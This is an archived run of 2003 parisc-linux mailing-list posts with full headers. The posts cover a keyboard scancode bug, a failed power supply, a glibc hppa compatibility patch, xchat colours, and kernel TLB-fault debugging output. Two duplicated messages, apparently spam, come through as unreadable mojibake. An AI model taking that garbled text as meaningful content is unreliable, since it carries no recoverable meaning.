Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A48E4483D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 13:45:47 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id BF9EF4A92A; Mon, 18 Aug 2003 21:45:46 +0200 (CEST)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19249

--k9n1VOENd6u0x2wl
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi:)

Along with the NumLock problem, my (german) keyboard doesn't any longer
respond to the less/greater/pipe key (located at the lower left of my
keyboard). Each time, these three lines are printed:

drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D97, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:received unk nown scancode 97, escape 0.
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D240, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:release=20
drivers/input/misc/gsc_ps2.c:rel=3D1 scancode=3D97, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:received unknown scancode 97, escape 0.

97 gets mapped to KBD_UNKNOWN, 240 is KBD_RELEASE. However, I couldn't
figure out what I should place instead of KBD_UNKNOWN. Dublicating my
/etc/console/boottime.kmap.gz section for 86 (-> which is the correct
entry for any other i386 keyboard) to keycode 97 doesn't help, though...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--k9n1VOENd6u0x2wl
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/QSzqHb1edYOZ4bsRAjdQAJ4wMp4eyhSVx8UJiXxAs5hhpqdkBQCcDbUZ
e5s3rHxPopR+V7wuzIZTmKg=
=6vMH
-----END PGP SIGNATURE-----

--k9n1VOENd6u0x2wl--


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Apollo 9000 power problem
Date: Mon, 18 Aug 2003 16:34:11 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200308182034.QAA13970@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622695 29696 80.91.229.3 (22 Nov 2014 02:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: christoph.plattner@gmx.at
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 14:34:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B0FA4893
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 14:34:14 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id QAA13970;
	Mon, 18 Aug 2003 16:34:11 -0400 (EDT)
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19250

Christoph,

I saw your recent note on power supply problems.  It looks like
my 735(730) has suffered a similar failure in the recent blackout.
The symptoms appear similar to what you described a a couple of
years ago.  On power up, leds flash for 100-200 ms and then all
go out.

Did you replace the failed capacitor?  Adding a resistor between
the +Vaux line and the current sense line to compensate for leakage
between the -12V line and the current sense line seems like a
bit of a hack.

Do you have docs for the supply?

Dave


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] hppa libgcc-compat
Date: Mon, 18 Aug 2003 17:09:29 -0400
Lines: 109
Approved: news@gmane.org
Message-ID: <20030818210929.GJ6190__48114.502876024$1416622696$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622696 29704 80.91.229.3 (22 Nov 2014 02:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 15:09:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 285214894
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 15:09:48 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19orFq-0004Q5-00; Mon, 18 Aug 2003 17:09:30 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19251

libc-alpha,

Seeing Lu's post about libgcc-compat reminded me that I should submit
our version.

We have been using this patch to fix the leaked __clz_tab symbol from
libgcc. Attached is the required additions to our Makefile, Dist, and
Versions.

This patch was produced by Randolph Chung, many thanks!

Cheers,
Carlos.
---
 sysdeps/hppa/Dist            |    1
 sysdeps/hppa/Makefile        |   11 +++++
 sysdeps/hppa/Versions        |    5 ++
 sysdeps/hppa/libgcc-compat.c |   43 +++++++++++++++++++++++
 4 files changed, 60 insertions(+)
---

2003-02-25  Randolph Chung  <tausq@debian.org>

	* sysdeps/hppa/Makefile: Include compat code in build.
	* sysdeps/hppa/libgcc-compat.c: New file.
	* sysdeps/hppa/Dist: Add libgcc-compat.c
	* sysdeps/hppa/Versions [GLIBC_2.2]: Add __clz_tab.

--- glibc-2.3.1/sysdeps/hppa/Makefile.orig	2003-02-25 22:21:14.000000000 -0800
+++ glibc-2.3.1/sysdeps/hppa/Makefile	2003-02-25 22:22:01.000000000 -0800
@@ -31,3 +31,14 @@
 dl-routines += dl-symaddr dl-fptr
 rtld-routines += dl-symaddr dl-fptr
 endif
+
+ifeq ($(subdir),csu)
+ifeq (yes,$(build-shared))
+# Compatibility
+ifeq (yes,$(have-protected))
+CPPFLAGS-libgcc-compat.c = -DHAVE_DOT_HIDDEN
+endif
+sysdep_routines += libgcc-compat
+shared-only-routines += libgcc-compat
+endif
+endif
--- glibc/sysdeps/hppa/libgcc-compat.c	2003-02-25 22:19:14.000000000 -0800
+++ glibc/sysdeps/hppa/libgcc-compat.c	2003-02-25 22:19:14.000000000 -0800
@@ -0,0 +1,43 @@
+/* pre-.hidden libgcc compatibility
+   Copyright (C) 2002 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Randolph Chung
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+
+#include <stdint.h>
+#include <shlib-compat.h>
+
+#if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_2_6)
+
+symbol_version (__clz_tab_internal, __clz_tab, GLIBC_2.2);
+
+typedef unsigned int UQItype  __attribute__ ((mode (QI)));
+
+const UQItype __clz_tab_internal[] =
+{
+  0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,
+  6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
+  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
+  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+};
+
+#endif
--- glibc-2.3.1/sysdeps/hppa/Dist.orig	2003-02-26 09:02:52.000000000 -0800
+++ glibc-2.3.1/sysdeps/hppa/Dist	2003-02-26 09:04:03.000000000 -0800
@@ -1,2 +1,3 @@
+libgcc-compat.c
 dl-symaddr.c
 dl-fptr.c
--- glibc-2.3.1/sysdeps/hppa/Versions.orig	2002-02-01 13:16:41.000000000 -0800
+++ glibc-2.3.1/sysdeps/hppa/Versions	2003-02-27 13:23:03.000000000 -0800
@@ -5,3 +5,8 @@
     _dl_function_address;
   }
 }
+libc {
+  GLIBC_2.2 {
+    __clz_tab;
+  }
+}


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "anlinwei" <akubpt@vip.sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?09C52LrP1/fKwtLLo6E=?=
Date: Tue, 19 Aug 2003 09:51:39 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20030819014912.D1CD4489D@dsl2.external.hp.com>
Reply-To: anlinwei@vip.sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622696 29711 80.91.229.3 (22 Nov 2014 02:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 19:49:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vip.sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1CD4489D
	for <parisc-linux@parisc-linux.org>; Mon, 18 Aug 2003 19:49:12 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19252

ҲҪѡ

ռбʱѣܾ 

һ͹˷ܵˣ
һӵӵĴ˼άһӿԱһٸˣ
һκεŶصӽǺͼĹˣ
һʱԵķǳžϲ
ԸоһĵĿԼļ˷ǺεȵĸиȾ
ǱĬԼӵһõЦݡ
Ϊˣ	

Ĺ˾ߺߵʽ֣ǹڷһ
ͷһ֣̽ͨóõĽִз
עߵϢЩߵĲƸҪԷõʵֵּɣ
ΧŶӣΪӵкܶҵѣͨԴԴ

ݳĻ˾һٳɳŵĹ湫ع˾
һȺ˼û˹ɡҪҵ 	
1	ƽƣһʴƷӡ
2	׫дֹ˵Ĵ򶯡
3	ýͶţһý壿ITýƣ
4	նԼ۱ﳬֵ
绰02085580657   85580234ת1920
ֻ13710685240	
Email: anlinwei@vip.sina.com          http://gzcj.blogone.net/
ַɽô԰9E



From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "anlinwei" <akubpt@vip.sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?09C52LrP1/fKwtLLo6E=?=
Date: Tue, 19 Aug 2003 09:51:46 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20030819014919.D158A48A5@dsl2.external.hp.com>
Reply-To: anlinwei@vip.sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622696 29719 80.91.229.3 (22 Nov 2014 02:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 19:49:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vip.sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id D158A48A5
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 19:49:19 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19253

ҲҪѡ

ռбʱѣܾ 

һ͹˷ܵˣ
һӵӵĴ˼άһӿԱһٸˣ
һκεŶصӽǺͼĹˣ
һʱԵķǳžϲ
ԸоһĵĿԼļ˷ǺεȵĸиȾ
ǱĬԼӵһõЦݡ
Ϊˣ	

Ĺ˾ߺߵʽ֣ǹڷһ
ͷһ֣̽ͨóõĽִз
עߵϢЩߵĲƸҪԷõʵֵּɣ
ΧŶӣΪӵкܶҵѣͨԴԴ

ݳĻ˾һٳɳŵĹ湫ع˾
һȺ˼û˹ɡҪҵ 	
1	ƽƣһʴƷӡ
2	׫дֹ˵Ĵ򶯡
3	ýͶţһý壿ITýƣ
4	նԼ۱ﳬֵ
绰02085580657   85580234ת1920
ֻ13710685240	
Email: anlinwei@vip.sina.com          http://gzcj.blogone.net/
ַɽô԰9E



From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Mon, 18 Aug 2003 23:08:29 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20030819050829.GF27208@dsl2.external.hp.com>
References: <20030815172142.GA19042@dsl2.external.hp.com> <F09536E0-CFFC-11D7-B685-000393581E44@speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622697 29728 80.91.229.3 (22 Nov 2014 02:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Chuck Slivkoff <caslivkoff@speakeasy.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 23:08:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C9395482D; Mon, 18 Aug 2003 23:08:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <F09536E0-CFFC-11D7-B685-000393581E44@speakeasy.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19254

On Sat, Aug 16, 2003 at 11:18:50AM -0400, Chuck Slivkoff wrote:
> If you can accept the "off" colors that 
> an 8-bit TrueColor default visual would give you (due to the uneven 
> 3/3/2 split between R/G/B), that would be the easiest solution & would 
> ensure that all clients can get the colors they want.

Chuck, thanks again!

I can live with off colors since this seems to work.
(thanks again Alan too)

I'll submit a patch to xchat so at least it checks the
gdk return values and complains if it can't get the colors.

thanks,
grant


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] N running 2.4.21-pa13-64-SMP
Date: Tue, 19 Aug 2003 11:39:18 +0200
Lines: 251
Approved: news@gmane.org
Message-ID: <3F2E54A800001E5E@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622697 29732 80.91.229.3 (22 Nov 2014 02:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 03:39:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0C4F485B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 03:39:21 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19p2uk-0002Im-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 11:36:30 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 19 Aug 2003 11:39:18 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19255

But for some minutes only :(

Hi pa,

With the hope to trap a HPMC during the boot of the N (dual processor) I
added some printk() in traps.c, smp.c, mm/memory.c as follow:

        case  1:
                /* High-priority machine check (HPMC) */
                printk("HPMC (case %d) from %s.\n", code, __FUNCTION__);
                pdc_console_restart();  /* switch back to pdc if HPMC */

[...]
        case  5:
                /* Low-priority machine check */

                printk("LPMC (case %d) from %s.\n", code, __FUNCTION__);
                pdc_chassis_send_status(PDC_CHASSIS_DIRECT_LPMC);
[...]

        case  6:
                /* Instruction TLB miss fault/Instruction page fault */
                printk("Instruction TLB miss fault/Instruction page fault
(case %d) from %s.\n", code, __FUNCTION__);
                fault_address = regs->iaoq[0];
[...]
         case 15:
                /* Data TLB miss fault/Data page fault */
                /* Fall thru */
                printk("Data TLB miss fault/Data page fault (case %d) from
%s.\n", code, __FUNCTION__);
                goto LBLJSO1;
        case 16:
                /* Non-access instruction TLB miss fault */
                /* The instruction TLB entry needed for the target address
of the FIC
                   is absent, and hardware can't find it, so we get to cleanup
*/
                /* Fall thru */
                printk("Non-access instruction TLB miss fault (case %d) from
%s.\n", code, __FUNCTION__);
                goto LBLJSO1;
        case 17:
                /* Non-access data TLB miss fault/Non-access data page fault
*/
                /* TODO: Still need to add slow path emulation code here
*/
                /* TODO: Understand what is meant by the TODO listed
                   above this one. (Carlos) */
                printk("Non-access data TLB miss fault/Non-access data page
fault (case %d) from %s.\n", code, __FUNCTION__);
        LBLJSO1:
                fault_address = regs->ior;
                fault_space = regs->isr;
                break;

smp.c

int
smp_call_function (void (*func) (void *info), void *info, int retry, int
wait)
{
[...]
        if (retry) {
                printk("Retry in %s.\n", __FUNCTION__);
                spin_lock (&lock);
                while (smp_call_function_data != 0)
                        barrier();
        }
        else {
                printk("Don't retry in %s.\n", __FUNCTION__);
                spin_lock (&lock);
                if (smp_call_function_data) {
                        spin_unlock (&lock);
                        return -EBUSY;
                }
        }
[...]

mm/memory.c
[...]
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct * vma,
        unsigned long address, pte_t *page_table, pte_t pte)
{
 
[...]
        spin_unlock(&mm->page_table_lock);
        printk("Try page_cache_release(new_page) in %s.\n", __FUNCTION__);
        page_cache_release(new_page);
        printk("Try page_cache_release(old_page) in %s.\n", __FUNCTION__);
        page_cache_release(old_page);
        return 1;       /* Minor fault */

bad_wp_page:
[...]
no_mem:
        printk("Try page_cache_release(old_page) in %s (because no_mem).\n",
__FUNCTION__);
[...]


And start to grab:
[...]
IP Protocols: ICMP, UDP, TCP, IGMP
Retry in smp_call_function.
Retry in smp_call_function.
IP: routing cache hash table of 8192 buckets, 128Kbytes
Retry in smp_call_function.
Retry in smp_call_function.
Retry in smp_call_function.
Retry in smp_call_function.
Retry in smp_call_function.
TCP: Hash tables configured (established 131072 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mount
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

========
That is here where I would expect:

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
bootlogd.

^G************* SYSTEM ALERT **************
SYSTEM NAME: ap8002
DATE: 08/11/2003 TIME: 12:56:05
ALERT LEVEL: 7 = reserved

and eventually HPMC message but it continu ...
========

(case 6) from handle_interruption.
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Instruction TLB miss fault/Instruction page fault (case 6) from handle_interru
ption.
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
[...]
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
Try page_cache_release(new_page) in do_wp_page.
Try page_cache_release(old_page) in do_wp_page.
Data TLB miss fault/Data page fault (case 15) from handle_interruption.
[...]

and thousand of messages of this type since I trap:
[...]
Data TLB palx4000miss login:...

What a surprise???

Well as there is too much messages at the console I came back to my desk
and login the system via ssh and got:

palx4000:/proc# cat cpuinfo 
processor       : 0
cpu family      : PA-RISC 2.0
